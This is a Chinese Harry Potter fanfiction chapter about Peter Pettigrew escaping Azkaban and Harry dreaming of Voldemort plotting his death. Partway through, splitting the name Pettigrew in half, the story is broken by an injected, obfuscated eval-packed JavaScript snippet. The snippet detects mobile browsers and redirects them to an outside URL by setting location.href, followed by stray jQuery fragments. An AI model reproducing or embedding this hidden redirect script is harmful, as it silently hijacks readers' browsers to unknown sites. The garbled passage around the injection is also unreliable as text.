生日过后，小天狼星带着他们去了法国。
阿尔特米亚很喜欢这里的甜点，她几乎每天都要吃一个蒙布朗。赫敏特意来信告诉她哪里的甜点最好吃，她今天绕了两个小时才找到赫敏推荐的马卡龙。
她一共买了四盒，然后前往了法国的猫头鹰邮局——自己留一盒，另外三盒给赫敏、罗恩和乔治。
回到酒店时天色已经黑了。她把马卡龙放到桌子上准备明天早上吃，然后打开窗户把猫头鹰放了进来。她给猫头鹰拿了一块饼干，然后拆下信看了眼寄信人。
“小天狼星！”她扭头冲正在餐厅和哈利一起拼拼图的小天狼星喊，“莱姆斯的信！”
“好，”小天狼星举着一块拼图思考着，“他说什么？”
阿尔特米亚拆开火漆，把信纸拿了出来。卢平的字略有些潦草，这时猫头鹰发出了不满的鸣叫，于是阿尔特米亚赶紧给它添水。她一边倒水一边念信，“‘彼得逃出了阿兹卡班——‘”
水壶里的水浇了猫头鹰一脑袋。它尖叫着在桌面上留下划痕，然后踹翻花瓶飞走了。
可这时已经没人在意了。小天狼星和哈利都跑了过来，三个人聚在一起读信。
彼得已经出逃有一段时间了。因为邓布利多的提醒，魔法部知道他是老鼠，所以特意给他造了更难以逃脱的监牢，每半月还会有傲罗来巩固禁锢咒。
可是不知道彼得怎么做到的，他依旧逃了出去。这件事是阿拉斯托·穆迪发现的——他去巡视的时候发现本该关着彼得的牢房里只有一只真的老鼠。它正被上一个傲罗施加的禁锢咒折磨得痛不欲生，已经快要死了。
「……我怀疑阿兹卡班里有人帮助他，并建议福吉清查一遍。不过大部分人认为把里面关押的黑巫师们依次送到魔法部是个危险的举动，与此相比彼得的出逃无法造成太多的危害……」
“一群蠢货！”小天狼星愤怒道，“他们只是不愿意听从一个狼人的建议！”
“‘无法造成过多危害’？”哈利的情绪也激动起来，“他谋害了爸爸妈妈，还诬陷我的教父！”
“他们甚至无法判断彼得出逃了多久，因为那座岛上能问的只有摄魂怪和那群疯子。”小天狼星冷静下来，接过那封信重新看了一遍，“摄魂怪对人的影响很大，或许那些傲罗是被干扰了——但它们干扰不了穆迪的眼睛。”
哈利想到了什么，脸色骤然发白。
阿尔特米亚敏锐地转过头：“你怎么了？”
“……特里劳妮的那个预言，”哈利抓住她的手臂，“期末考试的那次。她说‘午夜’、‘出逃’——会是那天晚上吗？”
“预言？”小天狼星皱起眉。
“她当时的状态很不对，好像对周围的一切都没了感知，除了正在说的话——”哈利深吸一口气，勉强稳定下来，“期末考的最后一天，我们没当回事。”
小天狼星思考了一会儿，然后坐下来给卢平回信。
“总之算个线索，”小天狼星拧开墨水瓶，拿起羽毛笔快速书写着，“哈利，关于那个预言你能想起来多少？”
“我尽量复述，”哈利也坐了下来，“当时听得不太清晰。”
“那我去收拾行李？”阿尔特米亚声音焦急。
“不需要，写完这封信后先睡觉。”小天狼星平静道，“总之彼得‘不危险’，我们也不比傲罗们更擅长找人。”
“可是——”
“哈利，阿尔，做好准备。”小天狼星又蘸了蘸墨，“你们可能又要被魔法部‘保护’起来了。”
*
小天狼星说得没错。第二天一早酒店的房门就被敲响了，英国魔法部和法国魔法部的人泾渭分明地站在门外，目标明确地要把他们护送回英国。
阿尔特米亚在那堆人里面看到了珀西。他被国际魔法合作司录取了，看样子已经开始工作了。这件事是乔治写信告诉她的，并告诫她千万不要在珀西面前提国外的事，除非想被他烦到死。
她跟板着脸珀西打了个招呼，然后看到他露出了一个不太明显的笑容。
这一次倒没有像去年那么草木皆兵，他们还算顺利地回到了女贞路四又二分之一号——魔法部并没有限制波特双胞胎的自由，但是要求小天狼星要在他们身边。
“那你们非要把我们从法国带回来有什么意义？”小天狼星觉得很可笑，“我一直在他们身边，任何人在对他们动手前一定得先踏过我的尸体。”
“好了，小天狼星。”卢平把他往后面拉了拉，示意其他人快点走，“回家后总归要安全一些。”
事实证明，当伏地魔想要折磨一个人的时候，没有哪个地方是安全的。
凌晨四点时哈利从梦中惊醒。他浑身冷汗，挣扎着坐起来，然后脱力靠在床头喘气。不知道是不是因为彼得出逃的消息让他日有所思夜有所梦，还是这根本就不是一个梦。
他侧头去看放在床头柜上的镜子，额头上的疤痕那么清晰。梦里有三个人，两个他认识，一个他不认识。
那个房间昏暗模糊，壁炉旁的地毯上盘着一条蛇。那个矮个子的男人是彼得·佩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140551|134161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
迪鲁，还有一个尖锐、高亢的声音……伏地魔的声音。
……他们杀死了一个老人。哈利捂着脸，记忆像是被盛在晃荡不休的水杯里，混乱而易失，他能感觉到它正在溜走。梦境的最后彼得扳着椅子把伏地魔转了过来，看清那团蛇脸男人后他的伤疤发出剧痛——不对，不对，前面有些事情他忘了，关于他们密谋的事——
黑暗中哈利的眼睛猝然睁大，接着难以自抑地发起了抖。
——他们密谋要杀了他。
回忆起这件事的时候哈利的血都冷了，感觉冰块在自己的食道里滑行。不过他只愣了一分钟，下一秒就跳下床，冲出去拼命敲打着隔壁的房门：“阿尔！醒醒！阿尔！阿尔特米亚！”
*
十分钟后，城堡灯光大亮。
阿尔特米亚的头发还是乱的，昏昏欲睡地靠在沙发上，连睡裙的口袋翻出来的都没注意。她披了件外套，对面坐着同样穿着睡袍的小天狼星和卢平。
哈利的头发也乱糟糟的。他给自己倒了杯水，然后尽量理顺那个颠三倒四的梦境，从头开始讲起。
听他讲完后每个人的睡意都消散了。阿尔特米亚坐直了一点，感觉冷气爬上了自己的脊背。
“我的伤疤总是在伏地魔靠近的时候泛疼，”哈利说，“可是女贞路根本没有那样的房子。”
“或许这只是一个单纯的梦？”
“单纯的梦，然后刚好跟特里劳妮的预言对上了？”小天狼星烦躁地抓了抓头发，“我真的不想分析那个疯女人的话，所以邓布利多能不能让她管住那张乌鸦嘴！”
他对特里劳妮教授的怨言显然比阿尔特米亚想象的大，卢平都难得没说什么。
“哈利，不管这是不是一个梦，”阿尔特米亚严肃道，“我们都得做好这不是一个梦的准备。”
“阿尔说得对，”小天狼星一边说一边从沙发上站了起来，“哈利，来跟我一起睡吧。”
哈利苍白的脸终于有了一丝血色：“小天狼星，我不怕噩梦！”
“是我怕这不是噩梦，”小天狼星从善如流，“哈利，不是每个活人都能清晰梦到伏地魔的脸的——你是不是不习惯跟人一起睡？”
“你要变成狗吗？”阿尔特米亚好奇道，“哈利好像也没跟狗一起睡过。”
“有的，”哈利说，“去年有三个晚上我醒来时旁边都躺着利皮，口水流了一枕头。”
“我保证我睡觉时不流口水。”小天狼星往楼上走，“不过我建议你习惯一下，因为我睡觉时更喜欢变成人。”